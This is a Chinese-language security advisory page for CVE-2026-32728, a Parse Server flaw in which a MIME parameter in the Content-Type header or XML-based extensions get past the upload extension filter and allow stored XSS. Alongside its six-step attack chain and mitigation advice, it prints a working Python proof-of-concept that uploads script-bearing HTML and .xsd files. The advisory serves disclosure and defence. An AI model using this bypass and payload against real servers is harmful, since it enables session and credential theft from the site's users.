IPBUF安全漏洞报告
English
CVE-2026-32728 CVSS 7.6 高危

CVE-2026-32728: Parse Server文件扩展名过滤器绕过导致存储型XSS漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-32728
漏洞类型
存储型XSS、文件上传绕过
CVSS评分
7.6 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Parse Server

相关标签

Parse Server文件上传绕过存储型XSSMIME类型混淆XML注入CVE-2026-32728内容安全Node.js

漏洞概述

CVE-2026-32728是Parse Server中的一个高危安全漏洞,存在于9.6.0-alpha.15和8.6.41之前的版本。攻击者通过在Content-Type头中附加MIME参数(如;charset=utf-8),可以绕过文件扩展名过滤器,将恶意活动内容存储并通过应用程序域名提供服务。此外,某些基于XML的文件扩展名未被包含在默认阻止列表中,可能在Web浏览器中渲染脚本,导致存储型XSS攻击。此漏洞可被利用来窃取会话令牌、用户凭证或通过浏览器本地存储访问的其他敏感数据。

技术细节

漏洞原理:Parse Server在处理文件上传时,会根据Content-Type头验证文件扩展名是否在阻止列表中。攻击者通过在Content-Type头中附加MIME参数(如`Content-Type: text/html;charset=utf-8`),使扩展名验证逻辑无法正确匹配阻止列表规则,从而绕过安全检查。攻击者还可以利用未在默认阻止列表中的XML相关扩展名(如xsd、rng、rdf、owl、mathml等),这些扩展名可以在浏览器中渲染活动内容。攻击成功后,恶意文件通过应用程序域名提供,浏览器会将其视为可信来源的脚本执行,从而实现存储型XSS攻击,窃取用户会话和敏感数据。

攻击链分析

STEP 1
步骤1
攻击者获取Parse Server的有效应用凭证(Application ID和REST API Key),具备文件上传权限
STEP 2
步骤2
构造恶意文件上传请求,在Content-Type头中附加MIME参数(如;charset=utf-8)以绕过扩展名验证
STEP 3
步骤3
或利用基于XML的文件扩展名(如.xsd、.rng、.rdf等)上传包含恶意脚本的内容
STEP 4
步骤4
Parse Server错误地将文件扩展名验证失败归因于MIME参数,绕过阻止列表检查
STEP 5
步骤5
恶意文件被存储并通过应用程序域名提供服务,浏览器将其视为可信来源
STEP 6
步骤6
受害者访问包含恶意文件的页面时,脚本在浏览器上下文中执行,窃取会话令牌、用户凭证等敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-32728 PoC - File Upload Bypass with MIME Parameter import requests import json TARGET_URL = "https://target-parse-server.com/parse" # Replace with target APP_ID = "your-app-id" API_KEY = "your-api-key" # PoC 1: Bypass extension filter with MIME parameter headers = { "X-Parse-Application-Id": APP_ID, "X-Parse-REST-API-Key": API_KEY, "Content-Type": "text/html;charset=utf-8" # MIME parameter bypass } malicious_content = "<script>alert(document.cookie)</script>" files = { "file": ("malicious.html;charset=utf-8", malicious_content, "text/html") } response = requests.post( f"{TARGET_URL}/files/malicious.html", headers=headers, files=files ) print(f"Upload Response: {response.status_code}") print(response.json()) # PoC 2: Upload XML-based file with active content headers2 = { "X-Parse-Application-Id": APP_ID, "X-Parse-REST-API-Key": API_KEY, "Content-Type": "application/xml" } xml_content = """<?xml version="1.0"?> <html xmlns="http://www.w3.org/1999/xhtml"> <script>alert('XSS via XML')</script> </html>""" files2 = { "file": ("malicious.xsd", xml_content, "application/xml") } response2 = requests.post( f"{TARGET_URL}/files/malicious.xsd", headers=headers2, files=files2 ) print(f"XML Upload Response: {response2.status_code}") print(response2.json())

影响范围

Parse Server < 8.6.41
Parse Server 9.6.0-alpha.15之前的版本

防御指南

临时缓解措施
临时缓解措施:配置fileUpload.fileExtensions选项为明确的允许列表,仅包含应用程序实际需要的文件扩展名(如图片、文档等),避免依赖默认的阻止列表。同时在Web服务器或CDN层面添加安全头(如Content-Security-Policy)限制脚本执行,并监控文件上传接口的可疑请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表